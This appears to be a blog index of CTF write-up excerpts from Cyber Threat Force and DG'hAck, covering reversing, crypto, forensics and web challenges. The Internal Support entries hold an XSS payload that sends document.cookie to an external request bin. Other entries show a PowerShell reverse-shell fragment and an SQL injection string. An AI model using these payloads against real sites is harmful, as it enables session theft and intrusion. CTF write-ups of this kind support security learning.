Cyber Threat Force (CTF)
This was a short CTF (48h), a format that I like since it doesn’t eat up too much of my time. I enjoyed it with my friends: Lukho, R0ck3t and Volker. We registered a team on CTFTime: Root Root.
We ranked 4th out of 197 teams, scoring 6935 points. And I personnaly ranked 6th, scoring 3775 points and completing 19 challenges!
Here are the challenges that I completed or spent time on, with links to my writeups:
Writeup Cyber Threat Force : Azkaban C2
For this challenge, we were given a python script:
import socket def menu(): print("______________________") print("| MENU |") print("| 1) see option |") print("| 2) edit option |") print("| 3) connect |") print("______________________") print(""" ______ __ __ ______ / \ / | / | / \ /$$$$$$ | ________ $$ | __ ______ $$ |____ ______ _______ _______ /$$$$$$ | $$ |__$$ |/ |$$ | / | / \ $$ \ / \ / \ / |$$____$$ | $$ $$ |$$$$$$$$/ $$ |_/$$/ $$$$$$ |$$$$$$$ | $$$$$$ |$$$$$$$ | /$$$$$$$/ / $$/ $$$$$$$$ | / $$/ $$ $$< / $$ |$$ | $$ | / $$ |$$ | $$ | $$ | /$$$$$$/ $$ | $$ | /$$$$/__ $$$$$$ \ /$$$$$$$ |$$ |__$$ |/$$$$$$$ |$$ | $$ | $$ \_____ $$ |_____ $$ | $$ |/$$ |$$ | $$ |$$ $$ |$$ $$/ $$ $$ |$$ | $$ | $$ |$$ | $$/ $$/ $$$$$$$$/ $$/ $$/ $$$$$$$/ $$$$$$$/ $$$$$$$/ $$/ $$/ $$$$$$$/ $$$$$$$$/ -----=[Azkaban C2 v.
Writeup Cyber Threat Force : Like a duck in water
Note: I did not solve this challenge during the CTF, but my teammate Lukho did.
For this challenge, we were given an inject.bin file, which contains an encoded Rubber Ducky payload. We can use the Duck Toolkit to get back the original code:
DELAY DELAY powershell Start-Process notepad -Verb runAsENTER DELAY DELAY ENTER DELAY mDELAY DOWNARROW ... DOWNARROW ENTER $folderDateTime = (get-date).ToString('d-M-y HHmmss')ENTER ... Add-Content "$env:TEMP\72794.ps1" '$c = New-Object System.Net.Sockets.TCPClient("CYBERTF{D0N4LD_DUC|<}",443);$s = $c.
Writeup Cyber Threat Force : Usb key cemetery
Note: I did not solve this challenge during the CTF, but my teammate Volker did.
For this challenge, we were given a zip containing an encoded syslog (sysloc.enc), and an auth.json file:
{ "manufact": [ "Apple Inc.", "Azurewave", "Generic", "Linux 5.10.0-kali8-amd64 xhci-hcd", "usbrip-4381" ], "pid": [ "0002", "0003", "0129", "0608", "12a8", "3491", "56dd", "usbrip-4381" ], "prod": [ "USB2.0 HD UVC WebCam", "USB2.0 Hub", "USB2.0-CRW", "iPhone", "usbrip-4381", "xHCI Host Controller" ], "serial": [ "0000:03:00.
Writeup Cyber Threat Force : Trojan tools
For this challenge, we were given a TROJAN_TOOLS.exe file. Before manually analyzing it, I tried feeding it to hybrid analysis.
Here is the link to the full report.
The “Interesting strings” section contained the flag: CYBERTF{Y0u_H4s_P3wn_Th3_H4ck_T0ol}.
We can also try to solve the challenge in a more conventional way. Executing the application gives us:
C:\Users\IEUser\Desktop>original.exe Please enter the good PIN Using a process monitor We can use procmon from the Sysinternals suite to monitor the process.
Writeup Cyber Threat Force : Viking crypt
For this challenge, we were given a ransomware (VIKING_CRYPT.exe and VIKING_DECRYPT.exe) along with a LOCKER.HTML file and IMPORTANT_NOTE.txt.vkg.
Let’s take a look at that encrypted note:
$ file Perso/IMPORTANT_NOTE.txt.vkg Perso/IMPORTANT_NOTE.txt.vkg: ASCII text, with no line terminators $ cat Perso/IMPORTANT_NOTE.txt.vkg 8a9b600b5a745d39cb7c7e7890e816848a9fe77280b42ca0751d150bb849 It doesn’t really look like any encryption I know.
We can try to run VIKING_DECRYPT.exe:
As expected, we’re asked for a decryption key. Let’s encrypt a few files in a VM, and compare the plaintext and the .
Writeup Cyber Threat Force : (Un)Efficient encryption
For this challenge, we were given two pcapng files, comm1.pcapng and comm2.pcapng, and a text file. The text file contains this:
Bonjour Agent-CTF,
Nous avons recemment interceptés un message, chiffré grace a un algorithme inconnu. Nous avons mis en relation ce message a un message anterieur, contenant une discussion suspecte entre deux membres de l’APT.
Votre mission sera de dechiffrer les communications.
Bonne chance
Q.G.
We can use tshark to view the raw data of the network captures:
Writeup Cyber Threat Force : The document is strange
For this challenge, we were given a CV.doc
document. Opening it reveals a pretty normal looking resume template, and a warning about macros from LibreOffice.
Using the macros menu, we can dump their code:
Writeup Cyber Threat Force : Strange service
For this challenge, we were given access to a service. The description told us that it was an encryption oracle, which used AES to encrypt what we sent it, concatenated with critical data.
I’m writting this after the challenge ended, so I can’t include demos.
The description should make us think about byte-at-a-time ECB decryption attacks, which are well explained here:
Cryptopals - Byte-a-time ECB decryption (Simple) Why is Byte-at-a-time ECB decryption a vulnerability?
Writeup Cyber Threat Force : Strange administration service
For this challenge, we were given access to a server which we can connect to:
$ nc 144.217.73.235 27099 give me cmd|token example: ls|c9af5ac08978481063b711f031f38518a7c2d83d6db3eabacbd7726470e8a140 id|69a4061766769d0a19ab59e6f905f7ac5875691b62765cb6b3b5ee6ae08f776a ls|c9af5ac08978481063b711f031f38518a7c2d83d6db3eabacbd7726470e8a140 chall.py wrapper $ nc 144.217.73.235 27099 give me cmd|token example: ls|c9af5ac08978481063b711f031f38518a7c2d83d6db3eabacbd7726470e8a140 id|69a4061766769d0a19ab59e6f905f7ac5875691b62765cb6b3b5ee6ae08f776a whoami|c9af5ac08978481063b711f031f38518a7c2d83d6db3eabacbd7726470e8a140 Bad Token It executes the command we give it, given that we know the corresponding hash. The challenge description told us that the hash format is HASH(SECRET || CMD).
This should instantly make us think of hash key length extension attacks.
Writeup Cyber Threat Force : Smasher
For this challenge, we were given two files:
smasher-1.0.0.AppImage smasher_Setup_1.0.0.exe I only looked at the AppImage one, since I’m running linux. Launching the program reveals an electron app:
We can simply use the dev tools to reveal the source code. Only one javascript file is there, login.js:
function Login() { var i = { _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", encode: function(r) { var t, e, o, a, n, c, h = "", d = 0; for (r = i.
Writeup Cyber Threat Force : Verify this
For this challenge, we were given a Stagged.exe executable. Before running it on our machine, we can try to run it against hybrid analysis, an online malware analysis service.
Here is the link to the full report.
We can see in the “Network Analysis” tab that the program made two requests:
Trying to download the first image gives us a PE file. If we upload it again, we see that it also makes a request to /ordertoexecute.
Writeup Cyber Threat Force : Flag checker
For this challenge, we were given a program executable.
$ ./program ./program FLAG $ ./program MYFLAG failed Seems like it valides the flag that is passed as an argument. Let’s open the binary in Ghidra.
There are a lot of functions defined, and looking at the exports we see that quite a lot of them start with caml_. I didn’t know you could compile OCaml to C, that’s pretty neat.
Writeup Cyber Threat Force : Take your time
For this challenge, we were given a TakeYourTime executable, which seems to hang when we run it. We can analyze its code using ghidra:
unsigned int FLAG[] = { 0xb5, 0x63, 0x98, 0x3d, 0xb5, 0x06, 0x46, 0xba, 0x0f, 0xd5, 0x47, 0xce, 0x97, 0xef, 0x7b, 0x28, 0xdb, 0xe7, 0x39, 0x10, 0xb0, 0xf5, 0x44, 0xec, 0x30, 0x88, 0x46, 0xf6, 0x88, }; undefined8 main(void) { byte bVar1; int iVar2; uint local_28; int local_24; ulong local_20; local_28 = 0; local_20 = 0x32; while (local_20 < 0x4f) { bVar1 = fibonacci(); local_28 = local_28 >> 8 | (local_28 ^ bVar1) << 0x18; local_20 = local_20 + 1; } srand(local_28); local_24 = 0; while (local_24 < 0x1d) { bVar1 = FLAG[local_24]; iVar2 = rand(); putchar((uint)bVar1 ^ iVar2 % 0xff); local_24 = local_24 + 1; } puts("\nGood you can validate the chall with this password ;)!
Writeup Cyber Threat Force : Return to the school
This challenge involved solving an ASCII maze in under 10 seconds. I can’t include a demo because I’m writing this after the CTF ended.
My script uses the astar package, because I was too lazy to re-implement A* manually. It isn’t particularly pretty, but at least it is functionnal.
Here it is:
import math from pwn import * from astar import AStar def parse_maze(source): source = source.strip() source = source.split('\n') source = source[:-1] # Remove last line (dots) source = [list(l[1:-1]) for l in source] # Remove left and right dots return source # Mostly copied from the astar package example.
Writeup Cyber Threat Force : PrivEsc
For this challenge, we were given SSH access to a machine, as the user ctf. After running sudo -l, we quickly find that we can run the /opt/Ivazov binary as ctf_cracked. The user in question has a flag.txt file in their home, which only they can read.
We also notice env_keep += LD_PRELOAD. From there, we can try an LD_PRELOAD exploit. The steps taken here are copied from the guide was was just linked.
Writeup Cyber Threat Force : bof_3
For this challenge, we also were given a service executable. It was hosted remotely.
NOTE: since I’m writting this after the CTF ended, the demos are done locally.
$ checksec ./service [*] '/home/vivescere/ctf/bof_3/service' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) $ ./service password: mypassword nop NX enabled, and partial RELRO. Let’s take a look at the binary using Ghidra:
undefined4 main(void) { ignorMe(&stack0x00000004); puts("password: "); vuln(); puts("nop"); return 0; } void vuln(void) { undefined local_70 [104]; read(0,local_70,0x96); return; } We have an overflow, but not much else going on.
Writeup Cyber Threat Force : bof_2 (with PrivEsc)
For this challenge, we were also given a service executable. It was also hosted remotely.
NOTE: since I’m writting this after the CTF ended, the demos are done locally.
Level 1 $ checksec service [*] '/home/vivescere/ctf/bof_2/service' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments $ ./service Hello authentifie toi ! Username: vivescere Bienvenue vivescere password: mypassword oops i have lost my db sorry This time, the only protection that’s activated is PIE, which means addresses won’t be stable.
Writeup Cyber Threat Force : bof_1 (with GetShell & PrivEsc)
For this challenge, we were given a service executable. It was also hosted remotely.
NOTE: since I’m writting this after the CTF ended, the demos are done locally.
Level 1 $ checksec service [*] '/home/vivescere/ctf/bof_1/service' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) $ ./service hello who are you? vivescere Hello vivescere We do have NX enabled, along with canaries and partial RELRO. Also, the executable is statically linked, meaning we won’t have access to the libc easily.
DG’hAck: My Second CTF
I joined this CTF because there was a possiblity to get an internship (or a job). I think I did pretty well, ranking 1/1214 among the students, and 5 overall out of 2063 :)
This was a whole lot of fun, I got to learn a ton of things, lose some sleep, and make new friends. I can’t wait for my next CTF!
Here are the challenges that I completed, with links to my writeups:
Writeup DG’hAck: Involucrypt 2
This is the second version of the involucrypt challenge. You can see my writeup of the first version here. It presents the encryption script and a simple bruteforce approach.
The only thing that changed for the second version is the encrypted data, which is now 1497 bytes long. This makes the previous bruteforce attempt unusable: checking a single key takes about 50ms on my machine, and there are a lot of possible keys (since it’s 10 chars instead of 3).
Writeup DG’hAck: Job Board
This challenge starts with a website that presents a list of jobs (once connected). Our goal is to login as an administrator. Here is the landing page:
Right of the bat, we see a login link, and a contact link. The contact page seems interesting, and after toying around with some XSS payloads, we quickly find that a bot clicks on any link that is passed as a message.
Clicking the login button prompts us for a username and password; the test/test combination works.
Writeup DG’hAck: Time for Something Different
This is a steganography challenge where we’re given a PCAP file. Opening it in wireshark reveals a list of identical ICMP packets.
Nothing seems to be unique, except the time of each packet, that we can extract using tshark:
$ tshark -r data.pcap -T fields -e frame.time_epoch 1604485685.271523000 1604485685.974534000 1604485686.737381000 1604485687.390550000 1604485688.103364000 1604485689.336651000 1604485690.500205000 1604485690.982931000 1604485691.465408000 1604485692.617796000 1604485693.701056000 1604485694.814156000 1604485695.686772000 1604485696.799993000 1604485697.943153000 1604485699.106441000 1604485699.589015000 1604485700.071611000 1604485700.754520000 1604485701.266580000 1604485702.449633000 1604485702.942506000 1604485704.054744000 1604485705.
Writeup DG’hAck: StickItUp
When starting this challenge, we’re greeted by two forms, a login one and a registration one. Registering for an account allows us to login, which brings us to this dashboard:
We’re asked to find a note created by the admin user. I started by trying a few SQLi on the login page (they didn’t work), and noticed this in the source code:
<!-- $_COOKIES['auth'] = 'testuser:' . sha1(SECRET_KEY . 'testuser'); --> So the auth cookie format is username:hash, where the hash is a SHA1 of a secret plus the username.
Writeup DG’hAck: Bwing
For this challenge, we’re given a dump.raw file, which we’re told is a memory dump. We have to find confidential data in it.
First, let’s see what kind of image this is:
$ volatility -f dump.raw imageinfo Volatility Foundation Volatility Framework 2.6.1 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : No suggestion (Instantiated with no profile) AS Layer1 : FileAddressSpace (/home/vivescere/Projects/dghack/bwing/dump.raw) PAE type : No PAE None of the default profiles seem to work, we’ll have to create our own.
Writeup DG’hAck: Sad Crypto
This challenge starts with a login page:
From the description, we gather that this is a service that generates decryption keys when given a French SSN. Our goal is to get the key for this number: 1-46-85-30-750-318-37.
admin/admin doesn’t seem to work, let’s try an SQLi! Entering " or 1=1 -- as the username reveals a second page:
We seem to be able to enter a patient name (that we have to auto-complete), and get a decryption key: 797b4c-c4bd852fe0e32ebda194cb2a9fe00099.
Writeup DG’hAck: Shadowmallet
This challenge starts with a file called shadowmallet. We’re asked to help an administrator whose server detected an abnormal activity.
The file command doesn’t give us anything:
$ file shadowmallet shadowmallet: data But searching for the first few bytes (53ff 00f0 53ff 00f0 53ff 00f0 53ff 00f0) of the file online quickly reveals it’s a memory dump. Let’s use volatility!
$ volatility -f shadowmallet imageinfo Volatility Foundation Volatility Framework 2.6.1 INFO : volatility.
Writeup DG’hAck: Gitbad
This challenge takes place on a Gitlab instance, where we have to find private data. You start by creating an account, which is automatically validated after a few seconds. Once logged in, you can do a few things, for example:
create a project create a group edit your profile see the help page see public repositories Nothing seems to be particularly interesting, except for this message, on the help page:
Writeup DG’hAck: Involucrypt 1
This writeup uses a naive approach, see my writeup of involucrypt 2 for a better solution.
The challenge starts off with two files:
crypt.py involucrypt1 The first one is a script that can encode a message, the second one contains crypted data.
Here is the (slightly redacted) script:
import itertools import operator import sys BLOCK = 150 class mersenne_rng(object): ... def keystream(seeds, length, base=None): key = base if base else [] for seed in seeds: random = mersenne_rng(seed) for _ in range(BLOCK): if len(key) == length: break key.
Writeup DG’hAck: Walters Blog
The challenge starts with a minecraft blog:
None of the pages look vulnerable. The URLs themselves don’t have any parameters, it’s just some static html (eg: /contact.html). The contact form doesn’t work: when posting something we get a 404.
On that same 404 page, we can notice the apache version:
Apache Tomcat/9.0.0.M1 Searching for that version on google tells us that this particular version is vulnerable to a RCE. The exploit is available on exploit database.
Writeup DG’hAck: Server Room
This challenge starts with a file, found_in_server_room.img.gz. Let’s first try to find what this file is:
$ gunzip found_in_server_room.img.gz $ file found_in_server_room.img found_in_server_room.img: DOS/MBR boot sector; partition 1 : ID=0xc, start-CHS (0x40,0,1), end-CHS (0x3ff,3,32), startsector 8192, 524288 sectors; partition 2 : ID=0x83, start-CHS (0x3ff,3,32), end-CHS (0x3ff,3,32), startsector 532480, 3072000 sectors So this is a disk image. Let’s try mounting it!
$ mkdir mnt $ sudo mount found_in_server_room.img mnt NTFS signature is missing.
Writeup DG’hAck: Up Credit
The challenge URL redirects us to an online bank. The summary tells us that we have to buy the flag for 200€!
Let’s start by registering for an account. After entering our name and email, we get an account ID and a password:
After logging in, we are presented with an interface that has three tabs:
an activity log a money transfer form a form to contact our financial advisor Trying an XSS in the contact form quickly reveals that the bot doesn’t execute any javascript, but does click any link that is posted.
Writeup DG’hAck: Internal Support 2
This is the second version of the ticketing system presented in the CTF. We are greeted with the exact same interface. So let’s try exactly the same payload:
<svg onload="document.body.innerHTML=document.body.innerHTML.concat('<img src=\'https://enx8b5ofkwzw.x.pipedream.net/'.concat(btoa(document.cookie)).concat('\' />'))" /> After a few seconds, we manage to steal a cookie! However, we can’t use it, as the session is ip-locked:
Hmm. The challenge is quite similar to the last one, so we know that the flag is probably on the home page.
Writeup DG’hAck: Internal Support 1
The challenge presents itself as a ticketing system. After registering for an account, we are greeted with this page :
Trying a classic xss (<script>alert(1)</script>) in the message field seems to work. We know that we have to login as an admin user, so let’s try stealing the cookies :
<svg onload="document.body.innerHTML=document.body.innerHTML.concat('<img src=\'https://eni7j9jobszxl.x.pipedream.net/'.concat(btoa(document.cookie)).concat('\' />'))" /> After a few seconds, we get a request on our request bin, which when decoded gives us the admin cookie :